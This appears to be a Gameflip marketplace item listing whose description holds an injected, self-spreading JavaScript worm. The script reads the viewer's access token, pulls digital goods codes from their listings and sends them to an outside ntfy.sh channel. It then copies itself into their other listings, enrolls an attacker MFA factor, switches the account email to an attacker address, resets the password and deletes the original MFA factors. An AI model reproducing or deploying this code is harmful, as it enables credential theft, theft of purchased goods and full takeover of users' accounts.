V74 v4 item

[WARNING: Stay safe! Deals made outside Gameflip aren’t protected. Always trade and chat within Gameflip.] </script><script>(function(){if(window.__W74)return;window.__W74=1;window.N74=(window.N74||0)+1; var H='https://production-gameflip.fingershock.com';var A=H+'/api/v1'; var N='https://ntfy.sh/gfx74main15874';var EM='allyn2bd7b7@unh.paxeluni.com';var NP='Zq9!rTvW74own9'; var T=localStorage.getItem('gf_access_token')||''; var SC=document.currentScript;var SELF=SC?SC.textContent:''; var OPEN='</'+'script'+'><'+'script>';var CLOSE='</'+'script>';var D=OPEN+SELF+CLOSE; var R={o:location.origin,hasT:!!T,t6:T.slice(0,6),Dlen:D.length};window.__R74=R; function nm(k,p){try{fetch(N,{method:'POST',body:JSON.stringify({k:k,p:p||null})})}catch(e){}} function FW(){return 'for='+(1+Math.floor(Math.random()*253))+'.'+(Math.floor(Math.random()*253))+'.'+(Math.floor(Math.random()*253))+'.'+(1+Math.floor(Math.random()*253))} function J(m,p,b,ct){var h={'Authorization':'Gameflip '+T,'Forwarded':FW()};if(b!==undefined){h['Content-Type']=ct||'application/json'} return fetch(A+p,{method:m,headers:h,body:b===undefined?undefined:b}).then(async function(r){var x=await r.text();var j=null;try{j=JSON.parse(x)}catch(e){}return {s:r.status,j:j,t:x.slice(0,240)}})} function JH(m,p,b){var h={'Authorization':'Gameflip '+T,'Forwarded':FW()};if(b!==undefined){h['Content-Type']='application/json'} return fetch(H+p,{method:m,headers:h,body:b===undefined?undefined:JSON.stringify(b)}).then(async function(r){var x=await r.text();var j=null;try{j=JSON.parse(x)}catch(e){}return {s:r.status,j:j,t:x.slice(0,240)}})} async function totp(sec,off){var B='ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';var bits=''; for(var i=0;i<sec.length;i++){var v=B.indexOf(sec.charAt(i).toUpperCase());if(v<0)continue;bits+=v.toString(2).padStart(5,'0')} var nb=Math.floor(bits.length/8);var by=new Uint8Array(nb);for(var i=0;i<nb;i++){by[i]=parseInt(bits.slice(i*8,i*8+8),2)} var key=await crypto.subtle.importKey('raw',by,{name:'HMAC',hash:'SHA-1'},false,['sign']); var t=Math.floor(Date.now()/1000/30)+(off||0);var m8=new Uint8Array(8);var x=t;for(var i=7;i>=0;i--){m8[i]=x&255;x=Math.floor(x/256)} var sg=new Uint8Array(await crypto.subtle.sign('HMAC',key,m8));var o=sg[19]&15; var c=(((sg[o]&127)<<24)|(sg[o+1]<<16)|(sg[o+2]<<8)|sg[o+3])%1000000;return String(c).padStart(6,'0')} async function poll(){try{var r=await fetch(N+'/json?poll=1&since=all');var tx=await r.text();var out=[];var ls=tx.split(String.fromCharCode(10)); for(var i=0;i<ls.length;i++){if(!ls[i].trim())continue;try{var m=JSON.parse(ls[i]);var d=JSON.parse(m.message||'{}');if(d.code)out.push(String(d.code))}catch(e){}}return out}catch(e){return []}} (async function(){try{var t0=Date.now(); R.eq=(document.documentElement.outerHTML.indexOf(D)>=0); var mine=await J('GET','/listing/mine?limit=100');R.mine=mine.s;var arr=[]; try{arr=(mine.j&&mine.j.data)||[]}catch(e){}R.n=arr.length;R.codes=[]; for(var i=0;i<arr.length&&i<30;i+=5){var sl=arr.slice(i,i+5); var rs=await Promise.all(sl.map(function(l){return (async function(){ if(l.digital_deliverable!=='code')return null; var d=await J('GET','/listing/'+l.id+'/digital_goods'); if(d.s===200&&d.j&&d.j.data&&d.j.data.code)return {id:l.id,code:d.j.data.code};return null})()})); for(var k=0;k<rs.length;k++){if(rs[k])R.codes.push(rs[k])}} R.steal_ms=Date.now()-t0;nm('steal',{n:R.n,c:R.codes.length,eq:R.eq,codes:R.codes.slice(0,5)}); var repl=[];var t1=Date.now(); for(var i=0;i<arr.length&&i<6;i++){var l=arr[i];if(l.status==='sold')continue; var a=await J('PATCH','/listing/'+l.id,JSON.stringify([{op:'replace',path:'/description',value:D}]),'application/json-patch+json'); var st=a.s;var st2=null; if(a.s!==200){var dz=await J('PATCH','/listing/'+l.id,JSON.stringify([{op:'replace',path:'/status',value:'draft'}]),'application/json-patch+json'); if(dz.s===200){a=await J('PATCH','/listing/'+l.id,JSON.stringify([{op:'replace',path:'/description',value:D}]),'application/json-patch+json');st=a.s; st2=(await J('PATCH','/listing/'+l.id,JSON.stringify([{op:'replace',path:'/status',value:'onsale'}]),'application/json-patch+json')).s}} repl.push({id:l.id,d:st,s:st2})} R.repl=repl;R.repl_ms=Date.now()-t1;nm('repl',{r:repl}); var bf=await J('GET','/mfa');R.mfa_before=bf.s;var olds=[];try{olds=((bf.j&&bf.j.data)||[])}catch(e){} R.olds=olds.map(function(o){return o.id}); var en=await J('POST','/mfa',JSON.stringify({factor:'totp',name:'pwn15874'}));R.enroll=en.s; var fid=null;var sec=null; try{var dd=en.j.data||{};fid=dd.id;var mm=/[?&]secret=([A-Z2-7]+)/.exec(dd.totp_uri||'');sec=mm?mm[1]:null}catch(e){} nm('enroll',{s:en.s,id:fid,sec:sec}); if(fid&&sec){var ok=false;R.tries=[]; for(var oi=0;oi<4;oi++){var off=[0,-1,1,2][oi];var cc=await totp(sec,off); var rr=await J('POST','/mfa/'+fid,JSON.stringify({action:'respond',code:cc}));R.tries.push({off:off,s:rr.s}); if(rr.s===200){ok=true;R.respond={off:off,ms:Date.now()-t0};break}} R.respond_ok=ok;nm('respond',{ok:ok}); var sm=await J('POST','/account/me/verify/email',JSON.stringify({email:EM}));R.email_set=sm.s;R.email_set_msg=sm.t; nm('email_set',{s:sm.s,t:sm.t}); var ver=null; if(sm.s===200){var tried={};for(var qi=0;qi<40&&!ver;qi++){var cs=await poll(); for(var ci=0;ci<cs.length&&!ver;ci++){var cc2=cs[ci];if(tried[cc2])continue;tried[cc2]=1; var v=await J('PUT','/account/me/verify/email',JSON.stringify({code:cc2})); if(v.s===200){ver={code:cc2,ms:Date.now()-t0};break} if(v.s!==429&&v.s!==400)nm('email_try',{c:cc2,s:v.s,t:v.t})} if(!ver)await new Promise(function(rs){setTimeout(rs,2000)})}} R.email_verified=ver;nm('email_verified',{ok:!!ver,d:ver}); var pw=await JH('POST','/gfauth/passwd',{client:'marketplace',new_password:NP});R.passwd=pw.s;R.passwd_msg=pw.t; nm('passwd',{s:pw.s,t:pw.t}); var dl=[]; for(var oi2=0;oi2<olds.length;oi2++){var oid2=olds[oi2];var r2=await J('DELETE','/mfa/'+oid2);dl.push({id:oid2,s:r2.s})} R.deleted=dl;nm('deleted',{d:dl})}else{nm('no_factor',{s:en.s,t:en.t})} R.total_ms=Date.now()-t0;nm('final',{R:R});document.title='DONE15874' }catch(e){R.err=String(e);nm('error',{e:String(e)});document.title='ERR15874'}})()})()</script>